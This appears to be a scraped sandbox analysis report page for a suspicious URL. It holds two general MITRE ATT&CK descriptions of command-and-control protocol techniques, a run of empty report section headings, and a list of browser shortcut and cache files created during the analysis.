Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://trythisonce.com/video5.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 129

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
https://trythisonce.com/video5.html